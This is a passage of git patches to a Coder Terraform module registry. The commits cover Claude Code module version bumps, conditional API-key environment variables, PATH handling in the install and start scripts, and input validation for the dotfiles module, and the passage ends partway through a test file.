@@ resource "coder_env" "google_application_credentials" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.2" + version = "4.7.3" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "claude-sonnet-4@20250514" From 08e68a2da4bd6937148892571932ea2b4ed48f79 Mon Sep 17 00:00:00 2001 From: Andreas Skorczyk Date: Tue, 3 Feb 2026 21:40:16 -0500 Subject: [PATCH 18/33] Don't create CLAUDE_API_KEY coder_env if not set (#686) ## Description At the moment, the `CLAUDE_API_KEY` coder_env will always be created, even if the variable itself is not. This can lead to the environment variable being unset if it has been set outside of Terraform. With this PR, we make the `claude_api_key` coder_env conditional, so it will only be created if an API key has been set. ## Type of Change - [ ] New module - [ ] New template - [x] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/claude-code/main.tf` **New version:** `v4.7.4` **Breaking change:** [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues None --------- Co-authored-by: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> --- registry/coder/modules/claude-code/README.md | 18 +++++------ registry/coder/modules/claude-code/main.tf | 7 +++-- .../coder/modules/claude-code/main.tftest.hcl | 30 ++++++++++++++++--- 3 files changed, 40 insertions(+), 15 deletions(-) diff --git a/registry/coder/modules/claude-code/README.md b/registry/coder/modules/claude-code/README.md index 7bfa7590..a58ed223 100644 --- a/registry/coder/modules/claude-code/README.md +++ b/registry/coder/modules/claude-code/README.md @@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.3" + version = "4.7.4" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_api_key = "xxxx-xxxxx-xxxx" @@ -47,7 +47,7 @@ By default, when `enable_boundary = true`, the module uses `coder boundary` subc ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.3" + version = "4.7.4" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_boundary = true @@ -68,7 +68,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.3" + version = "4.7.4" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_aibridge = true @@ -97,7 +97,7 @@ data "coder_task" "me" {} module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.3" + version = "4.7.4" agent_id = coder_agent.main.id workdir = "/home/coder/project" ai_prompt = data.coder_task.me.prompt @@ -120,7 +120,7 @@ This example shows additional configuration options for version pinning, custom ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.3" + version = "4.7.4" agent_id = coder_agent.main.id workdir = "/home/coder/project" @@ -176,7 +176,7 @@ Run and configure Claude Code as a standalone CLI in your workspace. ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.3" + version = "4.7.4" agent_id = coder_agent.main.id workdir = "/home/coder/project" install_claude_code = true @@ -198,7 +198,7 @@ variable "claude_code_oauth_token" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.3" + version = "4.7.4" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_code_oauth_token = var.claude_code_oauth_token @@ -271,7 +271,7 @@ resource "coder_env" "bedrock_api_key" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.3" + version = "4.7.4" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0" @@ -328,7 +328,7 @@ resource "coder_env" "google_application_credentials" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.3" + version = "4.7.4" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "claude-sonnet-4@20250514" diff --git a/registry/coder/modules/claude-code/main.tf b/registry/coder/modules/claude-code/main.tf index bfb1ad15..3ed4a021 100644 --- a/registry/coder/modules/claude-code/main.tf +++ b/registry/coder/modules/claude-code/main.tf @@ -276,9 +276,11 @@ resource "coder_env" "claude_code_oauth_token" { } resource "coder_env" "claude_api_key" { + count = local.claude_api_key != "" ? 1 : 0 + agent_id = var.agent_id name = "CLAUDE_API_KEY" - value = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key + value = local.claude_api_key } resource "coder_env" "disable_autoupdater" { @@ -324,7 +326,8 @@ locals { start_script = file("${path.module}/scripts/start.sh") module_dir_name = ".claude-module" # Extract hostname from access_url for boundary --allow flag - coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "") + coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "") + claude_api_key = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key # Required prompts for the module to properly report task status to Coder report_tasks_system_prompt = <<-EOT diff --git a/registry/coder/modules/claude-code/main.tftest.hcl b/registry/coder/modules/claude-code/main.tftest.hcl index 55106170..e273d321 100644 --- a/registry/coder/modules/claude-code/main.tftest.hcl +++ b/registry/coder/modules/claude-code/main.tftest.hcl @@ -42,7 +42,7 @@ run "test_claude_code_with_api_key" { } assert { - condition = coder_env.claude_api_key.value == "test-api-key-123" + condition = coder_env.claude_api_key[0].value == "test-api-key-123" error_message = "Claude API key value should match the input" } } @@ -298,6 +298,13 @@ run "test_aibridge_enabled" { enable_aibridge = true } + override_data { + target = data.coder_workspace_owner.me + values = { + session_token = "mock-session-token" + } + } + assert { condition = var.enable_aibridge == true error_message = "AI Bridge should be enabled" @@ -314,12 +321,12 @@ run "test_aibridge_enabled" { } assert { - condition = coder_env.claude_api_key.name == "CLAUDE_API_KEY" + condition = coder_env.claude_api_key[0].name == "CLAUDE_API_KEY" error_message = "CLAUDE_API_KEY environment variable should be set" } assert { - condition = coder_env.claude_api_key.value == data.coder_workspace_owner.me.session_token + condition = coder_env.claude_api_key[0].value == data.coder_workspace_owner.me.session_token error_message = "CLAUDE_API_KEY should use workspace owner's session token when aibridge is enabled" } } @@ -370,7 +377,7 @@ run "test_aibridge_disabled_with_api_key" { } assert { - condition = coder_env.claude_api_key.value == "test-api-key-xyz" + condition = coder_env.claude_api_key[0].value == "test-api-key-xyz" error_message = "CLAUDE_API_KEY should use the provided API key when aibridge is disabled" } @@ -379,3 +386,18 @@ run "test_aibridge_disabled_with_api_key" { error_message = "ANTHROPIC_BASE_URL should not be set when aibridge is disabled" } } + +run "test_no_api_key_no_env" { + command = plan + + variables { + agent_id = "test-agent-no-key" + workdir = "/home/coder/test" + enable_aibridge = false + } + + assert { + condition = length(coder_env.claude_api_key) == 0 + error_message = "CLAUDE_API_KEY should not be created when no API key is provided and aibridge is disabled" + } +} From 49a7985bc66f9bd5b338f56e8fc2498d2acbe9d4 Mon Sep 17 00:00:00 2001 From: Harsh Singh Panwar Date: Wed, 4 Feb 2026 09:40:27 +0530 Subject: [PATCH 19/33] fix(coder/modules/jupyterlab): fix a typo (#689) Closes https://github.com/coder/registry/issues/685 --------- Co-authored-by: Atif Ali Co-authored-by: Muhammad Atif Ali --- registry/coder/modules/jupyterlab/README.md | 4 ++-- registry/coder/modules/jupyterlab/main.test.ts | 2 +- registry/coder/modules/jupyterlab/run.sh | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/registry/coder/modules/jupyterlab/README.md b/registry/coder/modules/jupyterlab/README.md index b4e812fe..0e2b7dcf 100644 --- a/registry/coder/modules/jupyterlab/README.md +++ b/registry/coder/modules/jupyterlab/README.md @@ -16,7 +16,7 @@ A module that adds JupyterLab in your Coder template. module "jupyterlab" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/jupyterlab/coder" - version = "1.2.1" + version = "1.2.2" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ JupyterLab is automatically configured to work with Coder's iframe embedding. Fo module "jupyterlab" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/jupyterlab/coder" - version = "1.2.1" + version = "1.2.2" agent_id = coder_agent.main.id config = { ServerApp = { diff --git a/registry/coder/modules/jupyterlab/main.test.ts b/registry/coder/modules/jupyterlab/main.test.ts index bab8296e..681188ca 100644 --- a/registry/coder/modules/jupyterlab/main.test.ts +++ b/registry/coder/modules/jupyterlab/main.test.ts @@ -77,7 +77,7 @@ describe("jupyterlab", async () => { expect(output.exitCode).toBe(1); expect(output.stdout).toEqual([ "Checking for a supported installer", - "No valid installer is not installed", + "No supported installer found.", "Please install pipx or uv in your Dockerfile/VM image before running this script", ]); }); diff --git a/registry/coder/modules/jupyterlab/run.sh b/registry/coder/modules/jupyterlab/run.sh index be686e55..5edf35ef 100644 --- a/registry/coder/modules/jupyterlab/run.sh +++ b/registry/coder/modules/jupyterlab/run.sh @@ -14,7 +14,7 @@ check_available_installer() { INSTALLER="uv" return fi - echo "No valid installer is not installed" + echo "No supported installer found." echo "Please install pipx or uv in your Dockerfile/VM image before running this script" exit 1 } From 6ac4d70405fcf47c49d005a825ce7835f6ae348e Mon Sep 17 00:00:00 2001 From: Steven Masley Date: Wed, 4 Feb 2026 09:34:02 -0600 Subject: [PATCH 20/33] chore: add placeholder to git config inputs (#694) Shows a placeholder of default values in the parameter input box --- registry/coder/modules/git-config/README.md | 6 +++--- registry/coder/modules/git-config/main.tf | 6 ++++++ 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/registry/coder/modules/git-config/README.md b/registry/coder/modules/git-config/README.md index 753e8de3..155c3790 100644 --- a/registry/coder/modules/git-config/README.md +++ b/registry/coder/modules/git-config/README.md @@ -14,7 +14,7 @@ Runs a script that updates git credentials in the workspace to match the user's module "git-config" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/git-config/coder" - version = "1.0.32" + version = "1.0.33" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ TODO: Add screenshot module "git-config" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/git-config/coder" - version = "1.0.32" + version = "1.0.33" agent_id = coder_agent.main.id allow_email_change = true } @@ -43,7 +43,7 @@ TODO: Add screenshot module "git-config" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/git-config/coder" - version = "1.0.32" + version = "1.0.33" agent_id = coder_agent.main.id allow_username_change = false allow_email_change = false diff --git a/registry/coder/modules/git-config/main.tf b/registry/coder/modules/git-config/main.tf index e8fea8fd..2d9f5440 100644 --- a/registry/coder/modules/git-config/main.tf +++ b/registry/coder/modules/git-config/main.tf @@ -44,6 +44,9 @@ data "coder_parameter" "user_email" { description = "Git user.email to be used for commits. Leave empty to default to Coder user's email." display_name = "Git config user.email" mutable = true + styling = jsonencode({ + placeholder = data.coder_workspace_owner.me.email + }) } data "coder_parameter" "username" { @@ -55,6 +58,9 @@ data "coder_parameter" "username" { description = "Git user.name to be used for commits. Leave empty to default to Coder user's Full Name." display_name = "Full Name for Git config" mutable = true + styling = jsonencode({ + placeholder = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name) + }) } resource "coder_env" "git_author_name" { From 7e3e842aaae39bb4ced9e4e019be09851ddcda20 Mon Sep 17 00:00:00 2001 From: DevCats Date: Thu, 5 Feb 2026 09:18:27 -0600 Subject: [PATCH 21/33] fix: temp-fix for not using coder_env to set path due to limitations (#699) ### Summary Temporary workaround for non-deterministic PATH handling when using `coder_env` across multiple modules ([coder/coder#21885](https://github.com/coder/coder/issues/21885)). ### Problem When multiple modules define `coder_env` with the same `name` (e.g., `PATH`), the final value is non-deterministic due to Go map iteration order. This caused PATH overwrites instead of appending, breaking Claude Code discovery in workspaces using multiple modules. ### Solution Replace `coder_env` PATH manipulation with script-based PATH handling: - **Install script**: Exports PATH and adds claude binary directory to shell profiles (`.profile`, `.bashrc`, `.zshrc`, fish) for interactive shell access - **Start script**: Exports PATH at script execution time - **Symlink**: Creates symlink in `CODER_SCRIPT_BIN_DIR` as additional fallback - **Validation**: Prevents invalid configuration where `claude_binary_path` is customized but `install_claude_code=true` (official installer doesn't support custom paths) ### Changes - Removed `coder_env` resource for PATH - Added PATH export to `install.sh` and `start.sh` - Added shell profile modifications for cross-shell compatibility (bash, zsh, fish) - Added variable validation for `claude_binary_path` ### Note This is a temporary fix until [coder/coder#21885](https://github.com/coder/coder/issues/21885) is resolved with a proper `merge_strategy` attribute for `coder_env`. ## Type of Change - [ ] New module - [ ] New template - [X] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/claude-code` **New version:** `v4.7.5` **Breaking change:** [ ] Yes [X] No ## Testing & Validation - [X] Tests pass (`bun test`) - [X] Code formatted (`bun fmt`) - [X] Changes tested locally ## Related Issues ([coder/coder#21885](https://github.com/coder/coder/issues/21885)) --- registry/coder/modules/claude-code/README.md | 18 ++--- registry/coder/modules/claude-code/main.tf | 56 +++++++--------- .../modules/claude-code/scripts/install.sh | 67 ++++++++++++------- .../modules/claude-code/scripts/start.sh | 5 ++ 4 files changed, 80 insertions(+), 66 deletions(-) diff --git a/registry/coder/modules/claude-code/README.md b/registry/coder/modules/claude-code/README.md index a58ed223..340eb175 100644 --- a/registry/coder/modules/claude-code/README.md +++ b/registry/coder/modules/claude-code/README.md @@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.4" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_api_key = "xxxx-xxxxx-xxxx" @@ -47,7 +47,7 @@ By default, when `enable_boundary = true`, the module uses `coder boundary` subc ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.4" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_boundary = true @@ -68,7 +68,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.4" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_aibridge = true @@ -97,7 +97,7 @@ data "coder_task" "me" {} module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.4" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" ai_prompt = data.coder_task.me.prompt @@ -120,7 +120,7 @@ This example shows additional configuration options for version pinning, custom ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.4" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" @@ -176,7 +176,7 @@ Run and configure Claude Code as a standalone CLI in your workspace. ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.4" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" install_claude_code = true @@ -198,7 +198,7 @@ variable "claude_code_oauth_token" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.4" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_code_oauth_token = var.claude_code_oauth_token @@ -271,7 +271,7 @@ resource "coder_env" "bedrock_api_key" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.4" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0" @@ -328,7 +328,7 @@ resource "coder_env" "google_application_credentials" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.4" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "claude-sonnet-4@20250514" diff --git a/registry/coder/modules/claude-code/main.tf b/registry/coder/modules/claude-code/main.tf index 3ed4a021..07e3eb5a 100644 --- a/registry/coder/modules/claude-code/main.tf +++ b/registry/coder/modules/claude-code/main.tf @@ -208,6 +208,11 @@ variable "claude_binary_path" { type = string description = "Directory where the Claude Code binary is located. Use this if Claude is pre-installed or installed outside the module to a non-default location." default = "$HOME/.local/bin" + + validation { + condition = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code + error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer always installs to $HOME/.local/bin and does not support custom paths." + } } variable "install_via_npm" { @@ -290,18 +295,6 @@ resource "coder_env" "disable_autoupdater" { value = "1" } -resource "coder_env" "claude_binary_path" { - agent_id = var.agent_id - name = "PATH" - value = "${var.claude_binary_path}:$PATH" - - lifecycle { - precondition { - condition = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code - error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer and npm both install to fixed locations." - } - } -} resource "coder_env" "anthropic_model" { count = var.model != "" ? 1 : 0 @@ -382,26 +375,27 @@ module "agentapi" { pre_install_script = var.pre_install_script post_install_script = var.post_install_script start_script = <<-EOT - #!/bin/bash - set -o errexit - set -o pipefail - echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh - chmod +x /tmp/start.sh + #!/bin/bash + set -o errexit + set -o pipefail + echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh + chmod +x /tmp/start.sh - ARG_RESUME_SESSION_ID='${var.resume_session_id}' \ - ARG_CONTINUE='${var.continue}' \ - ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \ - ARG_PERMISSION_MODE='${var.permission_mode}' \ - ARG_WORKDIR='${local.workdir}' \ - ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \ - ARG_REPORT_TASKS='${var.report_tasks}' \ - ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \ - ARG_BOUNDARY_VERSION='${var.boundary_version}' \ - ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \ - ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \ - ARG_CODER_HOST='${local.coder_host}' \ - /tmp/start.sh - EOT + ARG_RESUME_SESSION_ID='${var.resume_session_id}' \ + ARG_CONTINUE='${var.continue}' \ + ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \ + ARG_PERMISSION_MODE='${var.permission_mode}' \ + ARG_WORKDIR='${local.workdir}' \ + ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \ + ARG_REPORT_TASKS='${var.report_tasks}' \ + ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \ + ARG_BOUNDARY_VERSION='${var.boundary_version}' \ + ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \ + ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \ + ARG_CODER_HOST='${local.coder_host}' \ + ARG_CLAUDE_BINARY_PATH='${var.claude_binary_path}' \ + /tmp/start.sh + EOT install_script = <<-EOT #!/bin/bash diff --git a/registry/coder/modules/claude-code/scripts/install.sh b/registry/coder/modules/claude-code/scripts/install.sh index d87a83b7..9a393965 100644 --- a/registry/coder/modules/claude-code/scripts/install.sh +++ b/registry/coder/modules/claude-code/scripts/install.sh @@ -12,6 +12,7 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-} ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"} ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-} ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"} +ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH") ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false} ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true} ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-} @@ -21,6 +22,8 @@ ARG_ALLOWED_TOOLS=${ARG_ALLOWED_TOOLS:-} ARG_DISALLOWED_TOOLS=${ARG_DISALLOWED_TOOLS:-} ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false} +export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH" + echo "--------------------------------" printf "ARG_CLAUDE_CODE_VERSION: %s\n" "$ARG_CLAUDE_CODE_VERSION" @@ -51,39 +54,51 @@ function add_mcp_servers() { done < <(echo "$mcp_json" | jq -r '.mcpServers | to_entries[] | .key, (.value | @json)') } +function add_path_to_shell_profiles() { + local path_dir="$1" + + for profile in "$HOME/.profile" "$HOME/.bash_profile" "$HOME/.bashrc" "$HOME/.zprofile" "$HOME/.zshrc"; do + if [ -f "$profile" ]; then + if ! grep -q "$path_dir" "$profile" 2> /dev/null; then + echo "export PATH=\"\$PATH:$path_dir\"" >> "$profile" + echo "Added $path_dir to $profile" + fi + fi + done + + local fish_config="$HOME/.config/fish/config.fish" + if [ -f "$fish_config" ]; then + if ! grep -q "$path_dir" "$fish_config" 2> /dev/null; then + echo "fish_add_path $path_dir" >> "$fish_config" + echo "Added $path_dir to $fish_config" + fi + fi +} + function ensure_claude_in_path() { - if [ -z "${CODER_SCRIPT_BIN_DIR:-}" ]; then - echo "CODER_SCRIPT_BIN_DIR not set, skipping PATH setup" + local CLAUDE_BIN="" + if command -v claude > /dev/null 2>&1; then + CLAUDE_BIN=$(command -v claude) + elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then + CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude" + elif [ -x "$HOME/.local/bin/claude" ]; then + CLAUDE_BIN="$HOME/.local/bin/claude" + fi + + if [ -z "$CLAUDE_BIN" ] || [ ! -x "$CLAUDE_BIN" ]; then + echo "Warning: Could not find claude binary" return fi - if [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then - local CLAUDE_BIN="" - if command -v claude > /dev/null 2>&1; then - CLAUDE_BIN=$(command -v claude) - elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then - CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude" - elif [ -x "$HOME/.local/bin/claude" ]; then - CLAUDE_BIN="$HOME/.local/bin/claude" - fi + local CLAUDE_DIR + CLAUDE_DIR=$(dirname "$CLAUDE_BIN") - if [ -n "$CLAUDE_BIN" ] && [ -x "$CLAUDE_BIN" ]; then - ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude" - echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN" - else - echo "Warning: Could not find claude binary to symlink" - fi - else - echo "Claude already available in CODER_SCRIPT_BIN_DIR" + if [ -n "${CODER_SCRIPT_BIN_DIR:-}" ] && [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then + ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude" + echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN" fi - local marker="# Added by claude-code module" - for profile in "$HOME/.bashrc" "$HOME/.zshrc" "$HOME/.profile"; do - if [ -f "$profile" ] && ! grep -q "$marker" "$profile" 2> /dev/null; then - printf "\n%s\nexport PATH=\"%s:\$PATH\"\n" "$marker" "$CODER_SCRIPT_BIN_DIR" >> "$profile" - echo "Added $CODER_SCRIPT_BIN_DIR to PATH in $profile" - fi - done + add_path_to_shell_profiles "$CLAUDE_DIR" } function install_claude_code_cli() { diff --git a/registry/coder/modules/claude-code/scripts/start.sh b/registry/coder/modules/claude-code/scripts/start.sh index b20f3833..a38e7146 100644 --- a/registry/coder/modules/claude-code/scripts/start.sh +++ b/registry/coder/modules/claude-code/scripts/start.sh @@ -2,6 +2,11 @@ set -euo pipefail +ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"} +ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH") + +export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH" + command_exists() { command -v "$1" > /dev/null 2>&1 } From 8e68c96633f65a1babd76a93b6923e3deead4a82 Mon Sep 17 00:00:00 2001 From: DevCats Date: Mon, 9 Feb 2026 07:54:15 -0600 Subject: [PATCH 22/33] fix: add validation to inputs in dot-files module (#703) ## Description Add's Validation to the dotfiles module in all input's to address security issue pointed out in https://github.com/coder/security/issues/119 ## Type of Change - [ ] New module - [ ] New template - [X] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/dotfiles` **New version:** `v1.2.4` **Breaking change:** [ ] Yes [X] No ## Testing & Validation - [Y] Tests pass (`bun test`) - [Y] Code formatted (`bun fmt`) - [ ] Changes tested locally ## Related Issues https://github.com/coder/security/issues/119 --------- Co-authored-by: Jakub Domeracki --- .../modules/claude-code/scripts/install.sh | 3 +- .../modules/claude-code/scripts/start.sh | 3 +- registry/coder/modules/dotfiles/README.md | 12 +++--- registry/coder/modules/dotfiles/main.test.ts | 43 +++++++++++++++---- registry/coder/modules/dotfiles/main.tf | 28 +++++++++++- registry/coder/modules/dotfiles/run.sh | 30 ++++++++++--- 6 files changed, 96 insertions(+), 23 deletions(-) diff --git a/registry/coder/modules/claude-code/scripts/install.sh b/registry/coder/modules/claude-code/scripts/install.sh index 9a393965..0a2ba703 100644 --- a/registry/coder/modules/claude-code/scripts/install.sh +++ b/registry/coder/modules/claude-code/scripts/install.sh @@ -12,7 +12,8 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-} ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"} ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-} ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"} -ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH") +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}" +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}" ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false} ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true} ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-} diff --git a/registry/coder/modules/claude-code/scripts/start.sh b/registry/coder/modules/claude-code/scripts/start.sh index a38e7146..2df8fce1 100644 --- a/registry/coder/modules/claude-code/scripts/start.sh +++ b/registry/coder/modules/claude-code/scripts/start.sh @@ -3,7 +3,8 @@ set -euo pipefail ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"} -ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH") +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}" +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}" export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH" diff --git a/registry/coder/modules/dotfiles/README.md b/registry/coder/modules/dotfiles/README.md index e35033a6..7d994c1e 100644 --- a/registry/coder/modules/dotfiles/README.md +++ b/registry/coder/modules/dotfiles/README.md @@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id } ``` @@ -31,7 +31,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id } ``` @@ -42,7 +42,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id user = "root" } @@ -54,14 +54,14 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id } module "dotfiles-root" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id user = "root" dotfiles_uri = module.dotfiles.dotfiles_uri @@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id default_dotfiles_uri = "https://github.com/coder/dotfiles" } diff --git a/registry/coder/modules/dotfiles/main.test.ts b/registry/coder/modules/dotfiles/main.test.ts index 8c82cd1e..90fe91c8 100644 --- a/registry/coder/modules/dotfiles/main.test.ts +++ b/registry/coder/modules/dotfiles/main.test.ts @@ -12,20 +12,47 @@ describe("dotfiles", async () => { agent_id: "foo", }); - it("default output", async () => { + it("default output is empty string", async () => { const state = await runTerraformApply(import.meta.dir, { agent_id: "foo", }); expect(state.outputs.dotfiles_uri.value).toBe(""); }); - it("set a default dotfiles_uri", async () => { - const default_dotfiles_uri = "foo"; - const state = await runTerraformApply(import.meta.dir, { - agent_id: "foo", - default_dotfiles_uri, - }); - expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri); + it("accepts valid git URL formats", async () => { + const validUrls = [ + "https://github.com/coder/dotfiles", + "https://github.com/coder/dotfiles.git", + "git@github.com:coder/dotfiles.git", + "git://github.com/coder/dotfiles.git", + "ssh://git@github.com/coder/dotfiles.git", + ]; + for (const url of validUrls) { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + 